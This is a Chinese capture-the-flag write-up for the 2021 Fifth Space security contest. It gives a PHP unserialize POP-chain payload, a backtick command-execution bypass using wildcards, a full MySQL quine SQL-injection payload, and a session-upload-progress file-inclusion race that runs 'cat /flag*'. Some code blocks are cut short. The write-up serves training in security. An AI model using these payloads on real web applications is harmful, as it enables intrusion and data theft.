2021 第五空间智能安全大赛 WriteUp
🏛️ 组织架构
主办单位:天津市委网信办、天津市总工会
承办单位:三六零集团(360政企安全集团)、天津滨海高新区总工会
协办单位:包括国家工业信息安全发展研究中心、南开大学网络空间安全学院、天津大学网络安全学院等多家机构
📅 赛程与赛制
报名时间:2021 年 8 月 27 日至 9 月 12 日
线上初赛:2021 年 9 月 16 日举行,采用 CTF(解题)模式
线下决赛:2021 年 10 月 10 日在天津举行,采用 A&D(攻防对抗)模式
颁奖典礼:2021 年 10 月 11 日
📊 赛事规模
本届大赛共吸引了 420 支战队、2511 名选手报名参赛
比赛分为学生组和社企组两个赛道
初赛每个组别各有 18 支队伍晋级,另有 4 支特邀队伍,共计 40 支队伍入围线下决赛
大赛总奖金池丰厚,两个组别的特等奖奖金均高达 10 万元
Web
pklovecloud(POP 链)

用户可控参数 pks 被直接 unserialize(),随后又被 echo,因此会触发对象的 __toString() 魔术方法
1 | if (isset($_GET['pks'])) |
代码中有三个类
1 | class pkshow |
入口是 echo $logData;,如果 $logData 是 acp 对象,就会触发 acp::__toString()
acp::__toString() 里会调用 $this->cinder->echo_name();
正常情况下,$cinder 是 pkshow 对象,只会返回 Pk very safe^.^
但是反序列化时,构造函数 __construct() 不会自动执行,而且对象属性可以由序列化字符串控制
所以我们可以让 acp::$cinder = new ace();
进入 ace::echo_name() 后,代码是
1 | $this->openstack = unserialize($this->docker); |
有一个关键变量 $heat,它没有定义,所以值为 NULL,因此
1 | $this->openstack->neutron = NULL; |
条件判断变成
1 | NULL === $this->openstack->nova |
整体 POP 链如下
1 | GET pks |
Payload
1 |
|
URL 编码
1 | ?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D |
hate_php(反引号 RCE + 短 echo 标签绕过 + 通配符绕过)

打开首页直接给了源码
1 |
|
过 WAF,也就是不能出现
1 | A-Z |
PHP 里反引号
1 | echo `id`; |
等价于执行系统命令并输出结果,类似
1 | echo shell_exec("id"); |
构造 Payload 如下
1 | `command` |
再配合通配符构造最终 Payload
1 | `/???/??? /????` |
等同于
1 | echo `/bin/cat /flag`; |

yet_another_mysql_injection(Quine 注入 + 注释绕过)

源码过滤了很多函数
1 | function checkSql($s) { |
常规绕过替换关系是
1 | 空格 -> /**/ |
假设提交 ' or '1' like '1,拼接后大概变成
1 | SELECT password FROM users |
即使 SQL 条件成立,数据库返回的也是表里原本的 password 值,但 PHP 后面还会做 $row['password'] === $password
如果数据库返回的是真实密码,而我们提交的是 ' or '1' like '1,两者不相等,所以只会进入 wrong password
因此真正目标变成让 SQL 查询结果中的 password 字段等于我提交的 password 参数本身
我们可以用 union select 伪造一行 password
1 | 1' union select <某个表达式> # |
关键是 <某个表达式> 的计算结果必须等于整个 payload 本身
如果我们提交 1' union select 'hello'#,这时候 SQL 查询结果中的 password 是 hello
但是我们提交的 password 是 1' union select 'hello'#,两者不相等
1 | hello != 1' union select 'hello'# |
为了绕过空格过滤,空格用注释代替:1'/**/union/**/select/**/[表达式]#
我们先准备一个模板,这个模板长得像最终 payload,但是里面先用 . 当占位符,意思是把字符串里的 . 替换成某个东西
1 | 1'/**/union/**/select/**/replace('.', char(46), '.')# |
但是这里有一个问题:如果我们直接把这段放进 SQL 字符串里,单引号会打断字符串
比如 '1'/**/union/**/select/**/replace('.', char(46), '.')#',SQL 会认为第一个 1' 就结束了字符串
所以我们先把模板里的单引号 ' 全部临时写成双引号 ",于是模板变成 1"/**/union/**/select/**/replace(".",char(46),".")#
这个模板现在可以安全地放进单引号字符串里
1 | '1"/**/union/**/select/**/replace(".",char(46),".")#' |
MySQL 里 char(34) 表示双引号,而 char(39) 表示单引号
所以可以 replace('模板', char(34), char(39)),把模板里的 " 全部替换成 '
执行结果就会变成 1'/**/union/**/select/**/replace('.',char(46),'.')#
现在我们还需要解决一个问题,replace('.',char(46),'.') 太短了,不是完整表达式,我们希望 . 这个占位符被替换成完整模板本身
MySQL 里 char(46) 表示 .,所以第二层写
1 | replace( |
第一步:把模板里的
"变成'第二步:把模板里的
.变成模板本身
模板先定为 1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
注意这里模板里已经包含了完整的双层 replace 结构,只是把两个关键位置先用 . 占着
于是表达式就是
1 | replace( |
把模板里的 " 换成 ',得到 1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#
然后执行外层 replace(上一步结果, char(46), '模板')
把两个 . 占位符替换成模板本身,得到
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
那么拼接进后端 SQL 之后,完整语句会变成
1 | SELECT password |
第一部分通常查不到数据,因为 admin 的密码一般不是 1
1 | SELECT password |
也就是说,数据库最终返回的是表达式执行后的结果
外层 replace 执行后,返回的是一个 “字符串值”,不是再次当 SQL 执行
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
而我们提交的密码是
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
所以最后可以拿到 flag
EasyCleanup(session.upload_progress 文件包含 + 条件竞争)

源码如下,当没有 mode 时显示源码;当 mode=eval 时会执行 $shell;当传入 file 参数时会执行 include $_GET['file']
1 |
|
eval 入口看起来是 RCE,但限制很重
shell 长度不能超过 15,并且字母数字总数不能超过 8,还禁了 $_、include、require、反引号、运算符等关键字符
1 | strlen($shell) > 15 |
但是 file 参数只经过 strlen($_GET['file']) > 15 | filter($_GET['file'])
没有 checkNums(),所以像下面这种短路径是可以通过的,它长度小于 15,也不包含过滤黑名单字符
1 | /tmp/sess_1 |
访问 /?mode=eval 查看 phpinfo 内容,定位到 session 相关的信息

PHP 的 session.upload_progress 功能在开启时,会在文件上传过程中把上传进度信息写入 $_SESSION
官方文档说明:当 session.upload_progress.enabled 开启,并且 POST 中存在 session.upload_progress.name 对应字段时,PHP 会把上传进度写入 $_SESSION;默认字段名就是 PHP_SESSION_UPLOAD_PROGRESS
关键点在于这个字段的值是我们可控,如果我们上传文件时带上
1 | PHP_SESSION_UPLOAD_PROGRESS= system('cat /flag*'); |
PHP 会把相关内容写入 session 文件,例如 /tmp/sess_1
然后题目又允许 include $_GET['file'];,于是访问 /?file=/tmp/sess_1
PHP 会把 session 文件当作 PHP 代码解析,其中的 <?php system('cat /flag*');?> 就会被执行
session.upload_progress.cleanup 默认是开启的,PHP 在上传完成后会清理上传进度信息;PHP 官方文档也说明该选项默认开启,会在 POST 数据读取完成后清理 progress 信息
所以常规利用时需要两个动作并发:
一边持续上传,让
session文件中短暂出现恶意 PHP 代码另一边不断请求
?file=/tmp/sess_xxx去包含它。只要某次包含发生在清理之前,就能执行成功
CTFHub 上并没有开启

1 | import io |
